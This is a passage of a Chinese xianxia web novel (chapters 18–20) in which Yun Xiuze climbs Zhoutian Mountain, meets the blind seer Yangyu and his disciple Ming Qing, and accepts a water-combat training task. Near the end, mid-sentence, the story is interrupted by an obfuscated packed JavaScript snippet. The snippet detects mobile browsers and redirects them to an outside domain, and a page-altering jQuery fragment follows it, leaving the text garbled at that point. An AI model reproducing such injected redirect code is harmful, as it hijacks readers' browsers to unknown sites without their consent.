这场面,谁来了都得说是一片祥和。 别说秦谷主了,就连云修泽见了都顿了一下。 秦谷主没想到他的大弟子还真在这里,心中惊讶,面上却未表现出来,反而淡定地给了云修泽一个眼神,意思大概就是:就这?控制? 云修泽直接当没看见,他往前走了几步,下棋的几人才注意到他们,见云修泽和秦谷主一起回来,竟没有一个人感到好奇,唐思月甚至还笑道。 “回来了?谷主快快请坐,这盘马上就要结束了。” 看着她,秦谷主总觉得有些违和之感,却又说不上来,他没有多想,只是不适地皱着眉头推辞。 “不必了。” 一旁的周彦止挠挠头,困惑的笑道。 “师傅,这小丫头太厉害了,我根本下不过她,给您丢脸了。” 秦谷主瞪了他一眼,骂道。 “之后再跟你算账!” 他转头去看云修泽,哼了一声说道。 “臭小子,算你厉害,跟我来吧,带你去个地方。” 唐思月刚想开口,他就强势打断道。 “谁都不许跟来!这狐狸崽子这么狡猾,我还能害了他不成?” 唐思月脸色有些难看,云修泽冲她摇了摇头。 “你们放心,我相信谷主对我没有恶意。” 他笑的一脸诚挚,看着秦谷主说道。 “对吧?谷主。” 秦谷主皱眉侧了侧脸,嫌弃道。 “废什么话,还不快走!” 他又伸手来抓云修泽,这次他眼疾手快的躲过了,一下跳到褚闲身上,笑道。 “就不劳烦谷主了,您先行一步。” 秦谷主看着抓空的手,眼中露出了一丝惊讶,随即哼了一声,将手收回来放到了身后。 两人就这么在几人的目送下御剑消失。 云修云双手抱剑,看着他们离去的背影,惊奇说道。 “这老头竟是个傲娇?” 唐思月&行愿:“......” 周彦止:“......?” 18. 孚望十八 云修泽隐约能猜到秦谷主要带他去哪里,经过刚刚的试探,那个通晓万物的司命恐怕也不是连个中细节都能全部知道,又或者...... 云修泽双眼微眯,他知道,却没告诉秦谷主。 为什么?这么做能达成什么目的? 告诉了秦谷主他们的大致行动,却又给他们留了余地,而云修泽正是通过这个余地成功威胁到了秦谷主,让他对云修泽有了一分赏识,现在才能这么心平气和带他过去。 不然以传闻中秦谷主的脾气,无论什么原因,敢在昆天谷撒野,哪怕不愿得罪云家,不会动他,他也绝对会被扔出谷去。 可这个司命在昆天谷内似乎地位超然,若说他要求将云修泽带过去,谷主大概也不会驳他的面子,可他偏偏没有这么干,绕了几个圈子,倒更像是在考验他。 一个与他素不相识的司命给他出了个难题,成功算是过了个关卡,有资格进到下一个阶段,失败则就要被赶出谷去,云修泽想不到他还能出于什么原因这么干,他能想到的,只有明青。 云修泽抿了抿双唇,跟着秦谷主落在了一座被薄雾笼罩的山前,这座山耸入云霄,抬眼望不尽其顶峰,秦谷主在旁边说道。 “它叫周天,是谷中最高的山,自昆天出现,它便在这里了,是......” 他顿了顿,又接着说。 “是历代司命的居所,你上去吧。” 说罢转身就要走。 云修泽:“您不和我一起去吗?” 秦谷主回头,神色冷然。 “叫你做什么就做什么,不要多嘴。” 云修泽碰了个钉子,表情无辜不再开口,同时伸手示意秦谷主自便。 秦谷主皱着眉,一副不耐烦的样子御剑离开。 云修泽看着他的背影消失在天边,深吸一口气,站在原地疲惫的抬头看了看满天的繁星。 视线中周天山的存在感极强,他头脑放空的盯了一会儿,突然就生了几分胆寒退怯。 司命,外界从无人知晓他的存在,历代,那便是从来就有,为什么昆天谷之外竟没有一个人知晓呢?昆天谷中呢?所有人都知道吗? 云修泽思维混乱,脑袋里像是有人塞进去了一块吸满水的棉花,让他头晕脑胀,理顺不了自己的思路。 这个司命驾轻就熟的摆弄着众人,通晓万物......通晓万物,要知道,他根本没有什么后手! 一切都是他说来诓骗试探秦谷主,拖延时间,再行周旋罢了,在院中看见周彦止,他的惊讶不比秦谷主少。 行愿不会做额外的事,云修云倒不是办不到,但他从小都跟在他身后,他作为大哥处处都比他强上一些,所以他很自然的养成了听他的话,无条件相信他的习惯,让他做什么他就做什么,剩下的交给云修泽,从未有过例外,所以也不会是他。 唯一的解释,就是唐思月了,恐怕是她又在背后做了些什么。 云修泽从来不小看她,这个小姑娘心思通透,将事情看的很明白,她明白劝不动云修泽,所以自己采取了别的行动来配合他,最大程度的给他兜了底,事实证明,她并没有多虑,现在云修泽还能站在这里,就是她的成功! 云修泽指尖微颤,他算到了吗?这个司命连这个也算到了吗?他是在借由这次的事敲打教诲云修泽吗? 这样算无遗策的人,若是平常,为求稳妥,他绝对会远远躲开,现在他真的要去接触吗? 周天山静默的耸立,允许一切事情的发生。 秦谷主没有盯着他,反而自己离开,就是在给他自己选择的机会,是进是退,只要做了决定,就再无回头之路。 明青......明青......聪慧的、迷糊的、默契的、神秘的、让他抑制不住动心的姑娘。 进一步,或许是万丈深渊。 退一步,绝对会永失所爱。 这么想也许有些夸张,但云修泽此时的心境就是这样,再没有比这更能表达他此时的所思所想。 选吧...选吧...... 脑海中各种混杂纷乱的想法快速的交替,最终定格在了明青脸上出现了微微笑意的那个瞬间。 可是还有什么好选的呢? 他何其了解自己,到了这一步,若再不承认,剩下的也只是自欺欺人,他自然有无数个理由放弃,但她早已经作为答案清晰的摆在了那里。 云修泽陡然失笑,一瞬间只觉思绪清明,周身通畅,是啊,这本就不是个选择。 他一只手握着剑,痛快的伸了个懒腰,随即就哼着不知名的曲调,步伐轻快的,进了雾气弥漫的周天山。 远处,秦谷主看着他进了山,嘴角露出了一丝笑意,一副算你小子有种的表情哼了一声,挥挥衣袖,才算是真正离开。 云修泽不知道自己走了多久,在外面看,山中的雾只有薄薄一层,可一旦走进来,这雾就不动声色的慢慢将他围了起来。 云修泽本来还留意着,但这变化细微的如同渗水的石缝,等他发觉,就已经无路可退。 这雾吹不散,云修泽试探的走了一会儿,可见度没在发生什么变化,他干脆站在原地站定。 脚步声消失,周围安静下来,他垂眼仔细听着周围的动静,这里寂静的像是什么都没有,突然,身后有风微微流动,云修泽心中一凛,有人来了! 他迅速回身劈去,碰到了什么却绵软无力,像是打在了棉花上,反倒被缠敷着卸了力。 这人用的不是剑! 云修泽定睛一看,竟是把拂尘,它缠在褚闲身上,微微用力想要将他拽过去,云修泽知道此时若是用力抽剑,只会叫那拂尘缠的越来越紧,应当反其道而行之。 只见他刻意将剑向前送了送,一下松开了握剑的手,然后迅速踢了一下剑柄,让褚闲在空中翻转剑身,那拂尘见状立马回撤,却还是被褚闲削断了几缕白毛。 “啊。” 拂尘被削断了几缕毛,便有人颇为痛惜的出声,听声音,来人似乎是个年轻男子。 云修泽本想和他交谈几句,可他却根本没有说话的意思,迅速的再次向他攻来,拂尘柔软多变,本是难缠之物,云修泽便运用轻功游走与他对打,避免被他缠上。 两人你来我往的打了一会儿,云修泽诡异的觉得眼下的情形有点儿熟悉,突然之间,他想起了之前行愿给云修云喂招的情景,这不正是与此时相似? 思及此,云修泽的打法不再保守,进攻越发的锐利难挡,可那男子却依旧不紧不慢的防守了下来,可见实力绝对在他之上,看来竟真的是一边试探他的实力,一边在给他喂招。 云修泽的速度越来越快,他的师傅毕竟是以速度见长,在这方面,他又怎么会落于人后? 云修泽双耳的风声不断鼓吹,但他似乎在嘈杂的风声中听见那人轻笑了一声,竟也开始用轻功和他较量,云修泽速度虽快,却还是免不了有几次被他围堵,渐渐的就被逼的只能停下来,他迅速改变策略,以不变应万变,定在原地防守。 熟悉感越发的浓了,在令人眼花缭乱的对打中,云修泽分明看见那人前一刻还在左前方的树上,下一刻却又出现在他的右侧,云修泽在某一刻骤然被点醒。 他如何能不熟悉?这不正是明青的路数吗? 事情一下子贯连了起来,云修泽有心叫停,可那男子不依不饶,他就只能继续和他打,直到一柄锋利的长剑抵在了他的脖颈! 云修泽双眼睁大:“......为什么?” “谁告诉你,人就只能用一种武器了?” 长剑从他的命脉挪开,云修泽转过身去,就见一个二十多岁的男子长身玉立,白衣欲仙,浑身上下唯一和紫色沾得上边的,便只有腰间的紫玉。 他的薄唇勾起,长相有些邪气,可双眼却覆上了白绫,中和了他的这份邪气。 他的双眼竟然不能视物! “晚辈云修泽,见过司命大人,不过晚辈与您的弟子相识,不知能否斗胆唤您一句先生?” 云修泽弯腰向他行礼,低着头等着那个男子的回应。 “我叫央玉,你再多斗几个胆,可以直接叫我的名字。” 央玉似乎并不在乎他的冒犯,也并没有否认他和自己弟子相识的话,反而饶有兴趣的对他说胆子可以再大点。 若是寻常人恐怕就要以为他是动怒了,可云修泽反到顺杆往上爬,笑着唤道。 “先生。” “哈哈哈哈哈哈哈哈!有意思,明儿,你这朋友可是有趣得紧!” 明青的身形从雾中显现出来,她一点儿没变,还是之前的样子。 云修泽看着她,她没受伤,当然,这里是她的师门,她怎么会在这里受伤? 两人隔着几步对视,云修泽不知道自己应该摆出什么表情,所以面上一片空白,倒是明青,眼中情绪难辨,几瞬后,倒是隐隐出现了几分温和。 “原来你竟师承昆天谷。” “也不算,我只是我师傅的弟子。” “咳咳。” 央玉咳嗽两声,见两人视线都放过来,就笑道。 “孩儿们,走吧,咱们换个地方说话。” 说实话,被一个看着明显是同龄人的人叫做孩儿很是奇怪,云修泽不太习惯,毕竟他父亲虽然也年轻,但他面有长须,看着倒是还好,不像央玉,完全看不出是位长辈,明青倒是早就习惯了,很自然的跟了上去。 两人随着央玉来到了山顶,这里地方很大,阁楼建的也很美,从这里望下去就是寸碧遥岑,只能望见翻涌的云海和其他或远或近的峰顶。 这里有一棵参天木,下面除了桌椅,竟然还放了一张美人榻,央玉施施然走到塌前,动作丝滑的在那张美人塌上躺了下去。 明青一副习以为常的样子坐到了旁边的石凳上,云修泽停了一下,也跟着坐了过去。 有一只万音莨鸟为他们上了些茶水点心,这只与他之前看到的都不一样,他不是半人高的童子身,而是一个看上去已经有十几岁的小少年,云修泽看着他退下,明青主动说道。 “这里的万音莨鸟修为更高些。” 言下之意,便是这里的莨鸟都是这个样子。 云修泽点点头,央玉目不能视,而万音莨鸟目力极好,又是忠心的鸟,昆天谷点化豢养莨鸟,倒是于他很适用。 “不知先生叫我 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云修泽带着暖意轻轻笑起来。 “这究竟是怎么回事?” 明青听他问话,却没回答,反而说起别的来。 “司命昆天谷是很特殊的存在,他们并不是一直都存在的,只有天下或许会发生大事,黎民也许会遭受巨大的苦难时才会出现,那边。” 明青指了指刚刚央玉离开的方向。 “再往那边多走一段,就能看到一个祭台,据说当世人需要的时候,上天就会给出预警,指定昆天谷内一个人成为司命,让他得以通晓万物,在天下大乱时,给出指示,从而避免灭族的苦难。” 云修泽从未听说过这种事,不由得心神震动,他敏锐的注意到了一句话。 “......或许?” “......对,或许。” 明青闭上双眼,神情略有忍耐,慢慢说道。 “天道公允,通晓万物是需要付出巨大的代价的,师傅因为做了司命,从此目不能视,且此生都不得离开周天山半步,看的,就是继任司命者敢不敢为了天下苍生赌上自己” 云修泽双手骤然紧握,想起央玉一脸随性的笑意,只觉得如梗在喉,什么话都无法说出。 修法者的一生何其漫长,如此沉重的命运,竟一直有人默默背负。 “为什么一定要是昆天谷中人?” 这样一想,以往历代记载的灾难中,基本都有昆天谷的身影,本以为是巧合,原来竟是一种必然吗?那昆天谷地位如此超然,司命的存在又能占得几分? “这是昆天谷自己求来的命。” 明青向云修泽透露这些自然有央玉的授意,她一向猜不透师傅,但当今日云修泽真的出现时,她却隐隐明白了些什么。 “昆天谷的存在可以追溯到很久以前,那时的天下异象不断,灾害频发,又逢战乱,百姓尸横遍野,当时的谷主心有不忍,用了一个禁法,和十位长老一同将自身献祭,才求来苍天垂爱。” 她捏紧了手中的茶盏,蹙眉喃喃道。 “可天道公允...天道公允啊......” “砰!!!” 云修泽手中的杯盏猛然碎裂,还未沾口的茶水洇湿了他的衣袖,他却恍然未觉,冷着一张脸也不知在想些什么。 明青僵硬的提了提嘴角,不再说那些沉重的往事。 “我要做的事很危险,本来只是想和你们短暂同路,可师傅却觉得可以更长久些,但他虽那么说,却还是忍不住为难你们,我也是在不知情的情况下被带来的。” 这便是在解释这次的事了。 云修泽暂时还笑不出来,他沉默的听着,过了一会儿才重新开口。 “你不算昆天谷中人?” 明青点点头,道。 “对,我是意外拜师,拜的还是司命,师傅也从未教过我昆天谷中的功法,我的所学,全都是师傅自己曾经摸索出来的。” 怪不得云修泽看不出她一身本领的出处。 别的不说,单说如此厉害的轻功,竟是他曾经自己神领意造的,如此惊人的悟性,竟然再无快意天下的可能,终身不得踏出这里一步,也是因为如此,他才将明青收为弟子的吧,至少,还有人能带着他的影子去到更远的地方。 云修泽也将这几天的事简单说了一下,在黑夜笼罩下,两人轻声交谈着,像是要把分开了一阵子缺的话全都加倍说回来,直到再没什么可说了。 月色清亮,桌上也放着一盏琉璃灯,两人在夜幕下对望,明青平静的神色中掺杂了一些云修泽看不懂的东西,她轻轻开口道。 “我仍有秘密。” “我知道。” 云修泽安静的说,迈入周天山的那一刻,他就不再担忧孤注一掷。 “我会来的,以后的每一次,我都会来的。” 明青像是笑了。 “我知道了。” 她垂眸,复又呢喃道。 “我知道了......” 19. 孚望十九 云修泽被带去了客居,此时漫漫长夜已然过去多半,他本想多少睡一会儿,可闭上眼睛,脑海中便纷乱杂呈,他想到了几位同伴,想到了镜双子,想到了父亲给他的任务,也想了央玉的用意。 最后,他开始克制的想起明青,他愿意走向她,却仍然无法放任自己毫无顾忌的去想她。 云修泽在床榻上迟迟无法入睡,干脆就爬起来开始打坐修炼,时间悄无声息的流逝,等他再睁眼时,就是辰时过半,屋中的桌子上放着早膳,应该是明青送进来的。 他起身靠近,摸了摸碗边,还是温热的,于是眼中就这么轻而易举的染上了笑意。 等云修泽吃完,再次来到昨天的参天木时,发现云修云、唐思月和行愿三人正坐在那里和明青说话,他面上带着微微的笑意,并没有感到太意外。 他过去坐下,明青看到他来,给他倒了杯茶,在另外三人的注视下,云修泽也自然的接了过来。 “你们怎么来的?” 云修云托着下巴,没精打采的说道。 “我也想知道,今日一大早,就有万音莨鸟来找我们,说是司命有请,我还当你干了什么,直接就被扣下了呢。” 云修泽去看明青,明青微微点头。 “已经和他们说过了。” 云修泽的肩膀几不可见的下塌几分,有些泄气的说道。 “事情你们也大概了解了,是我太过鲁莽,这次还是要感谢思月,不然咱们现在可能坐不到这里说话了。” “你知道就好。”唐思月抬起下巴,故意露出高傲的神情。 云修泽失笑:“好好好,我定然铭记于心,不过你怎么把易容卸了?” 唐思月此时又恢复了原来的容貌,竟然连面纱也没带。 “大司命无所不知,无所不晓,我在他面前易容,还有必要吗?” 她的话语懒散,还带了几分调侃的意味。 “所以他叫你来到底干什么,你知道了吗?” 云修泽摇头:“并未,还是要等今日司命告知了。” “司命?昨日不还叫着先生?” 云修泽面前投下一片阴影,脑子还没反应过来,身体的本能反应倒是让他先抬头看了一眼,这一抬头,央玉那张俊美妖异的脸就放大在他眼前。 云修泽着实被他吓了一跳,褚闲都差点儿出鞘,反应过来是谁后,他才缓和了些。 央玉抱着拂尘要笑不笑的站直了身体,云修泽的心中却还没有平复。 他的警惕心一向很强,从未有人能在他不知情的情况下靠他如此之近,只是这两日经历了太多的事,好不容易算是解决了,刚刚和朋友们说话,不知不觉就放松了下来,没想到却让央玉抓住了机会来吓唬他。 云修泽神色幽幽的看着央玉。 “先生,好玩吗?” 央玉诧异的挑眉道:“你在说什么废话?当然好玩了!” “噗!” 云修泽不用回头也知道是云修云忍不住笑出声来了,君子报仇,十年不晚,看他之后怎么和他算账。 云修云和行愿站起身来,抱拳向他行礼。 “见过司命大人。” 刚刚看着还好的唐思月此时却没有起身,反而一只手揉着额角,微微蹙眉,不太舒服的样子。 “还请司命大人原谅,我的身体有些不适,恐怕难以支撑向您行礼。” 听她这么说,几人都第一时间投去了关切的目光,就连明青也不例外。 云修泽虽然关心,但还是感到了一丝微妙,怎么时机这么巧?思月是故意的?她想做什么? 央玉虽然看不见,却好像依然觉得这幅的场景十分有意思,好整以暇的等几人交谈了一番后,才故作关心的走上前去为她搭脉。 “哎呀!这可如何是好啊?我看小月儿这倒像是从娘胎里带出来的不足之症啊!应该在这里好好休养几个月才是!” 小月儿......唐思月的嘴角微微有些抽搐,将手腕从他手下拿了回来。 “多谢司命关怀,只是我已经调养的差不多了,偶尔会略感不适罢了,没有什么大碍。” 云修泽在一旁想插嘴,但央玉根本没有给他开口的机会,敲敲手心夸张的说道。 “我就知道你不太好,那就这么定了!你们几个也一块儿留下来吧!” 云修泽无语,谷主张嘴就骂人,司命不想听的直接装听不懂,这昆天谷里的人到底是怎么回事儿啊? “先生,我们还有别的安排,恐怕不能在这里久待。” 央玉本来是背对着他坐着的,此时回过头来,由下往上的看他,他的眼睛蒙着白绫,可云修泽却觉得他好像什么都看到了,他虽然笑着,但说实在的,这种笑容侵略性很强。 有一瞬间,凉意从脚底窜上了云修泽的头顶,仿佛他的一切都被眼前这个男人看透,这种悚然让他下意识竖起了防备,但他还是克制住了自己想要后退的本能,定在原地与这种无形的压迫对峙。 几人都放轻了呼吸,片刻过后,流转在两人之间的‘交锋’忽然随着央玉的的一声笑叹消散。 “唉,怎么会?不是还有好几个月吗?” 云修泽的手紧贴着身体,缓慢地揉搓了一下,明白他指的就是白界的那场比试,通晓万物哪里是说着玩的,是他。 “在那之前,我们还有别的地方要去。” 央玉挥挥手,懒散的躺到那张美人榻上。 “计都有什么好着急的,就你这一进水就玩儿完的实力,还是好好在这儿收收心吧。” 他叹道。 “可怜我这个孤家寡人,好不容易来几个年轻人,想热闹热闹,竟然还嫌弃我,唉!人心不古啊!” 云修泽瞥见云修云一脸别扭的表情,心中暗暗点头,是了,我可爱的弟弟,我昨天也是这个反应,这才是正常的。 云修泽并没有否认自己在水中打架实力很差的事实,对于央玉知道他们要去计都也毫不意外,他在乎的,只是央玉话中透露出来的消息。 “现在不行,那什么时候可以?” 央玉啧啧作响。 “小伙子,天机不可泄露啊,该你去的时候自然就会去了。” 云修泽心中腹诽,都泄露了那么多了,现在倒想起不可泄露来了。 “子竹啊!心里说人坏话可是不对的!” 云修泽又被他搞得一惊:“您连这个也能知道?” 央玉躺在榻上大笑起来,云修泽对着他总是容易犯糊涂,此时也是神色迷茫,不知他在笑什么,旁边的明青侧着脸不看他,虽然伪装的很好,但云修泽还是在她的声音中听出来了一丝笑意。 “傻子,师傅在诈你。” 几人都被他这难得闹的笑话逗笑了。云修泽这才反应过来,眉毛不受控制的跳了跳,隐隐咬牙道。 “先、生。” 看他要炸毛了,央玉也不再逗他。 “好了好了,别闹了,让你留在这儿好好陪陪我们明儿不好吗?” “师傅””这次轮到明青给他扔眼刀了。 这究竟是谁闹啊,云修泽拍拍明青的肩膀安抚她,神色认真的对央玉问道。 “先生可是有什么要我做的?” 央玉虽然看不见,但每次都能准确无误的面对着他。 “先生给你个任务,你接是不接?” 又是选择。 云修泽眼神暗了暗:“但凭先生吩咐。” 央玉勾唇笑起来,说道。 “好孩子,你昨日在水中遇到的是篪,最是胆小温顺不过,它守着悬练,也守着松林,那片松林灵气浓郁,是修炼极好的去处,但那里同样孕育着无数致命毒物和灵草灵药,接下来的几个月,我要你独自一人,战胜篪,然后到达那片松林,采集一株凤引花,你可能做到?” 听着他的话,云修泽满脑子都是去他妈的胆小温顺,可听到最后,他也大概明白央玉是想锻炼他在水中的能力。 他虽没有听过篪的名头,但既然能让昆天谷弄来放在悬练,守着松林,那也绝对不是什么软弱好欺的东西。 云修泽衡量。 央玉既然说现在他们还不是时候去计都,那他愿意试着闭嘴相信他,作为明青的师傅,大概率不会害他们,如果真如明青所说,希望明青和他们一起上路,那么作为她的同伴,自然是越强越好。 云修泽后退半步,抱拳恭敬道。 “子竹定然不负先生所望。” 自称子竹,那便是将央玉视作亲近的长辈了,明青眼神一动,心中不知为何有些高兴。 见他这么上道,央玉很满意,双手一拍,将事情定了下来。 “那就这么说了,今日你就歇着吧,记得跟明儿多聊聊,明儿,给他们安排居所,这几个月都在我这里住,要是想出去逛逛,记得来找我拿令牌。” 云修云和唐思月对视一眼,没想到几句话的功夫,他们的行程就完全变了个模样,可现在木已成舟,他们也只能说道。 “那便麻烦司命大人了。” 央玉笑着摆摆手:“哪里的话,都是自己人。” 几人觉得他的态度有些奇怪,以为他在打趣云修泽和明青,也没有多想,云修泽问道。 “今日是谷主的寿辰,我们是不是......” 央玉正背着手,一副闲散仙人的模样摇摇晃晃的离开,听他问话头也不回的说道。 “得了吧,你们去了也不知道是谁嫌弃谁了。” 云修泽失笑,想想也确实如此,只是从司命嘴里说出来,平添了一些喜色。 明青很快给几人安排好了住处,她尚且年少时曾经问过央玉,为什么自己一个人住,还要有那么多的房间阁楼,那时的央玉只是笑眯眯的告诉她为了好看,可央玉其人,有时候说的话甚至连一半都不能信到,现如今,这些空出来的地方倒是有了用处。 午时,云修泽将能告诉柳恒舜的全都写成了一封信,报了个平安,也交代了一下事情基本的原委,然后托一只万音莨鸟送过去,想着他的反应,自己在一旁缺德的偷笑起来。 五人凑在一起用了午膳,前几日明青不在,没有听到云修泽和云修云的一些趣事,唐思月便又给她讲了一遍,云修云红着脸抗议,被唐思月无情的驳回。 两个姿容盖倾全城的姑娘凑在一起低声说话,时不时还会轻轻笑开,这场面要多养眼有多养眼。 云修云咬着筷子看了一会儿,突然捅捅旁边的行愿,行愿正吃着饭,被他打扰也不生恼,淡定的把掀开的面具扣了回去,然后才用眼神问他要干嘛。 云修云的眼睛没从两个姑娘身上离开,只歪着身子凑近行愿小声说。 “行大哥,你觉不觉得她们两个凑在一起说话的样子很好看啊?” 听他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950946|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么问,行愿就转头去看她们,眼神慢慢眨了眨,轻轻嗯了一声,这个场面对他来说无疑是温情的。 旁边的云修泽安静的听着他们交谈,吃饭的速度也慢了下来,笑着去看他们的姑娘。 他将唐思月视作妹妹,以后若是能和云修云这个傻弟弟凑成一对儿无疑是最好的,若是不能,他也愿意作为兄长替她把关,为她准备嫁妆,就算终身不嫁,他也愿意永远做她的后盾,而明青。 云修泽的笑容参杂了一些柔情。 明青是他竭尽全力也要一求的珍宝,是他的克制,是他的沦陷,是他默契的同伴,也是他心照不宣的爱人。 看她们两人凑在一起谈笑晏晏,云修泽只觉得心中有淡淡的暖流淌过,对他来说,这又何尝不是一种奢侈的温情呢。 “啊——” 云修云已经吃撑了,正靠在椅背上,手扶着肚子仰头长叹,云修泽心中流淌的暖流被打断了,看了眼云修云,不由得感叹,还是妹妹好啊,难怪母亲那么喜欢给他梳妆打扮,心理安慰还是很有必要的。 吃完午膳,几人就散去了,唐思月在有条件的情况下,一般都会午睡,行愿通常会在外间守着她,有的时候也会像今天一样,在她的院落中找一颗正好的树卧上去,阳光会透过树叶在他身上洒下斑驳的光影,他向来喜欢这些温暖的东西。 云修泽三人挑了处空旷的地方互相切磋,几轮下来,云修云就撂挑子不干了,将司越一把塞回了剑鞘,云修泽以为他是被打急了,就慢悠悠的劝道。 “切磋而已,而且不用上全力,怎么让你进步?心态要放好。” 云修云撇撇嘴,白了他一眼。 “你是第一天认识我吗?我哪是因为这个?” 他的眼神儿在云修泽和明青中间来回扫了两圈儿,表情幽怨。 “我只是觉得我好像有点儿多余。” 说完,他就拿着司越跑了。 云修泽一顿,没想到竟是因为这个,他转眼去看明青,明青的神色依旧冷淡,看不出什么异样。 云修泽正感到有些失落,却突然发现她的耳朵似乎红了一些。 这可让云修泽忍不住要浪起来了,他抱着剑,一脸坏笑的凑近明青,刚准备说话,就被明青一把捂住了嘴,她的表情没有变,眼睛却透露着一些羞赧和慌乱。 “你乱说些什么?” 云修泽也不去拿她的手,反而透过她的手心发出阵阵闷笑,明青这才发现自己干了什么,像是被烫到了一样,迅速将手收了回来。 云修泽慢条斯理的说。 “我说什么了?我不是什么还没说吗?你就知道我乱说了?” 明青背着手不看他,云修泽本想故技重施,去追她的眼睛,可转念一想,现在跟当时可不是一个样了,容易把自己玩砸,于是就轻咳两声说道。 “好了,不逗你了,不过话还是要说的,毕竟是你师傅的要求,他那个人,有时候随口说的话,反而是要放在心上的。” 明青放在背后的手指轻轻摩挲了两下,虽然还是没去看他,但也知道他说的是事实,于是小声的问他:“你想说什么?” 云修泽说不逗她就真的不逗她了,带着她找到一处屋檐坐了下来,问道。 “跟我说说篪吧,我未来一段时间的对手,我可是在它那儿吃了好大的苦头。” 明青想了想,说:“它平时真的还挺温顺的,不知道是不是你是外来人的缘故,对你那么凶。” 云修泽嘴角抽了抽。 “应该是你好师傅授意吧,它能听懂人话吗?” “可以,但它不是谁的话都听的,你就别想着靠这个了。” 云修泽无奈道。 “我哪有那么想,先生的意思是要我打水战,我若钻这个空子,只怕要被他好一顿教训。” “篪的弱点是尾巴,防御力很低,但同时攻击力也很高,若是被抽一下,断根骨头都是轻的。” “那看来昨天竟真是跟我闹着玩儿了。”云修泽摸着下巴“除了尾巴还有吗?” 他竟还真的被拍了一下? 明青微微蹙眉,准备之后让唐思月帮他看看。 “还有它的左眼,它们一般会将内丹凝聚在左眼处。” 云修泽想起那天阴差阳错的那一击,原来是无意攻到它的要害才会让它那么惊慌失措。 看他若有所思的表情,明青心中生了点警惕。 “你可不要想着弄死它,它是谷主找来专门放在那里守着松林的,小心谷主找你算账。” “所以我的任务是既不弄死它,还要战胜它?” 说的怪可怜的,明青铁石心肠的点了点头。 “你先别急着找它,这段时间先练练水下憋气对战吧。” 云修泽点头,很是赞同。 “正该如此。” 两人并肩坐在屋檐下,云修泽忽然弯腰凑近她,笑意盈盈的问。 “明姑娘会陪我的,是吧?” 明青面无表情的将他的脸推开了,起身拍了拍衣服,临走时撇了他一眼,淡淡道。 “你猜?” 云修泽看着她远去的背影,将刚刚那一眼的风情收入眼中,哼哼笑道。 “我猜?” 他仰着头故意大声说道:“唉!天下姑娘一般模样,我猜——明青对我最好。” 还没走远的明青落荒而逃。 20. 孚望二十 周天山上有藏书楼,云修泽和明青分开后就四处逛了逛,无意间发现了这里。 山上常年都是央玉一人独居,看这里的摆设,想来他偶尔也会将这里当成书房用,云修泽一眼就看到了桌子上随意摆着的图纸和翻开的书。 守门的莨鸟既然放他进来了,那应该就没什么要紧的东西,云修泽随意翻了翻,基本都是和武器打造有关,竟然还有深流剑的图纸,云修泽有些诧异,深流竟然是央玉亲手打造的吗? 云修泽拿起那张图纸细看,转身的间隙不小心将书架上的几本书碰掉了,他暂且将图纸放下,弯腰去捡,有一张叠起来的纸突然从一本叫做《论兵器外形的重要性》的书的夹页中掉了下来。 “先生看的这是什么乱七八糟的书。” 云修泽一边说一边去捡,本想直接放回去,放到一半却又突然改了主意,莫名的对这张纸产生了好奇心,于是小心的打开了这张看上去很有年代感的纸。 上面画着两把外形相似,装饰华美的长剑,好看是好看,只是有些多余的装饰其实可以去掉,若是用起来,恐怕会有些碍手。 下面还有字,他抹了抹上面本就不存在的尘土,也不知道是多久以前的东西,无论是画还是字,都已经变得模糊不清,他细细看着,本以为是和剑有关的记录,但其实更像是央玉和剑主人的交谈。 ‘这样不好吗?多好看啊!’ ‘什么东西,又不是摆着玩的。’ ‘你管管他!多打击我,让我试试怎么了!’ ‘确实很多余。’ ‘没天理啊!两个欺负一个!’ ‘别嚎了!给你给你。’ ‘我可警告你,只许改一点儿不碍手的,不然......’ ‘哈哈!你们放心!绝对给你们装的又不碍手又漂亮,不拿你们练手,拿谁练手呢?哈哈哈!’ ‘滚。’ ‘滚。’ ‘得嘞。’ 这似乎是央玉最开始对这个有兴趣时,强行拿朋友的剑练手的‘罪证’。 云修泽看的忍俊不禁,深流,包括央玉自己的剑,都没有这张图上那么花里胡哨,也不知这两把剑,最后成了什么样子。 曾经的央玉,通过这几句简单的交谈便可窥见一二,只是不知他的这两位朋友现在怎么样了,是否还会经常来看他。 云修泽又各处看了看,意外发现了明青年少时的趣事,一本妖物图解上的一只妖被圈了出来,旁边写着。 ‘徒儿今日问之,此物何解,我答,此物善水,上岸腥气浓重,当多撒调料,徒儿无语离去,后将此物斩杀,并满盘辣椒,哄我吃下,我言美味至极,徒儿单纯试之,面色胀红,遂奔至寒潭,三日未曾理我,为师教你,不可轻信旁人矣!’ 云修泽乐不可支的想像明青一脸单纯的被骗的样子,必然很有意思,他将这件事悄悄记下,准备之后拿去逗逗她,不知她又会是什么反应。 云修泽从藏书楼里出来,意外撞见央玉正和唐思月、行愿在一起,他们围在桌前,不知在捣鼓什么,云修泽凑过去。 “你们在干什么呢?” 央玉将一面镜子给他看,手指带着灵力点了点镜面,那镜面便宛如水面一样泛起了波澜,随即空中就展开了一副湖面的景象。 云修泽看着觉得有些眼熟,仔细端详了一会儿,迟疑的问道。 “悬练?” 央玉幸灾乐祸的点头道。 “不错,正是你昨天差点儿玩儿完的地方,我刚刚差人将另一面镜子送了过去,这是子母镜,一面放在我这儿,一面放在那边,我们便可以看到那边的景象,我出不了周天山,这样方便我看你挨打。” 云修泽无语,虽然知道他是好意,但有的时候他说话真的很欠,也不知年轻的时候有没有因此挨过打。 “云大哥。” 唐思月在旁边轻轻叫他,云修泽看过去,她便悠悠说道。 “听明青说你受伤了啊,来吧,让我看看。” 云修泽将这一茬忘得一干二净,此时被她抓住,一边试探抽手,一边温和笑道。 “我已然没事了,你看我这不是挺好的吗,不用费心了。” 话音刚落,他扭头就跑,唐思月和行愿抓不住他,央玉却不同,他抓着他的后衣领,笑道。 “哎!怎么能忌讳行医呢?良药苦口啊。” 云修泽被命运扼住了喉咙,面无表情道。 “您既然连这个都知道,就应该知道我在跑什么。” 央玉摇摇头:“我可什么都不知道。” 